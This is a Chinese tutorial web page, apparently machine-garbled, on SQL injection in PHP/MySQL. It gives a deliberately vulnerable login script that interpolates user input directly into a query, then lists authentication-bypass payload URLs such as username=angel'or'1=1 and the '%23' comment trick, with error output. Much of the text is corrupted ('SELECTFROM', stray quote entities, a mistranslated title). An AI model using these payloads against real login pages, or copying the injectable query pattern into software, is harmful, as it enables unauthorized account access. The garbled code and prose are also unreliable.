首页 » 网站推广 » phpgtfetch技巧_给大年夜家理解一下PHP下的注入的特殊性和事理

phpgtfetch技巧_给大年夜家理解一下PHP下的注入的特殊性和事理

访客 2024-11-13 0

扫一扫用手机浏览

文章目录 [+]

家如何学习布局有效的SQL语句。

我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:

phpgtfetch技巧_给大年夜家理解一下PHP下的注入的特殊性和事理

CREATETABLE`user`(

phpgtfetch技巧_给大年夜家理解一下PHP下的注入的特殊性和事理
(图片来自网络侵删)

`userid`int(11)NOTNULLauto_increment,

`username`varchar(20)NOTNULLdefault'',

`password`varchar(20)NOTNULLdefault'',

PRIMARYKEY(`userid`)

)TYPE=MyISAMAUTO_INCREMENT=3;

#

#导出表中的数据`user`

#

INSERTINTO`user`VALUES(1,'angel','mypass');

验证用户文件的代码如下:

<?php

$servername=\"大众localhost\"大众;

$dbusername=\"大众root\公众;

$dbpassword=\"大众\"大众;

$dbname=\"大众injection\"大众;

mysql_connect($servername,$dbusername,$dbpassword)ordie(\"大众数据库连接失落败\"大众);

$sql=\"大众SELECTFROMuserWHEREusername='$username'ANDpassword='$password'\"大众;

$result=mysql_db_query($dbname,$sql);

$userinfo=mysql_fetch_array($result);

if(empty($userinfo))

{

echo\"大众上岸失落败\"大众;

}else{

echo\"大众上岸成功\"大众;

}

echo\"大众

SQLQuerysql

\"大众;

?>

这时我们提交:

http://127.0.0.1/injection/user.php?username=angel'or1=1

就会返回:

Warning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresultresource

inF:wwwinjectionuser.phponline13

上岸失落败

SQLQuery:SELECTFROMuserWHEREusername='angel'or1=1'ANDpassword=''

PHPWarning:mysql_fetch_array():suppliedargumentisnotavalidMySQLresult

resourceinF:wwwinjectionuser.phponline13

看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有精确配对,以是由

此可知我们布局的语句不能让Mysql精确实行,要重新布局:

http://127.0.0.1/injection/user.php?username=angel'or'1=1

这时显示\公众上岸成功\"大众,解释成功了。
或者提交:

http://127.0.0.1/injection/user.php?username=angel'/

http://127.0.0.1/injection/user.php?username=angel'%23

这样就把后面的语句给注释掉了!
说说这两种提交的不同之处,我们提交的第一句是利用逻

辑运算,在ASP中利用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,mysql支持/和#两种注释格式,以是我们提交的时候是把后面的代码注释掉,值得把稳的是由于编码问题,在IE地址栏里提交#会变成空的,以是我们在地址栏提交的时候,该当提交%23,才会变成#,就成功注释了,这个比逻辑运算大略得多了,由此可以看出PHP比ASP强大灵巧多了。

通过上面的例子大家该当对PHP+MYSQL的注入有个感性的认识了吧?

弈安传媒科技微教室,每天分享财经资讯,打算机技能知识,人生感悟,创业辅导以及各种专业技能知识资料学习互换.移动学习平台、知识分享平台。
随时随地的学习,如果你喜好发展,这里你不容错过的地方.弈安传媒科技培训关注:关注自己发展,分享内容,分享自己的技能,造诣未来.

[弈安传媒科技提升自己的平台]请关注:头条号及"大众号 弈安传媒科技

标签:

相关文章

供求比,市场经济的晴雨表

市场经济如同大海,波涛汹涌,潮起潮落。而供求比,便是这大海中的一把尺,衡量着市场的温度,预示着未来的走势。本文将从供求比的概念、计...

网站推广 2025-01-02 阅读1 评论0

侠盗无双,穿越时空的冒险之旅

在我国悠久的历史长河中,侠义精神深入人心,无数脍炙人口的故事流传至今。而《侠盗无双》便是其中一部令人叹为观止的佳作。本文将带您走进...

网站推广 2025-01-02 阅读0 评论0

便签助力高效生活,开启数字时代的新篇章

在信息爆炸的今天,如何高效地管理和利用信息,成为了我们生活中的一大挑战。而便签,作为一种简单、便捷的信息记录工具,正逐渐成为人们日...

网站推广 2025-01-02 阅读0 评论0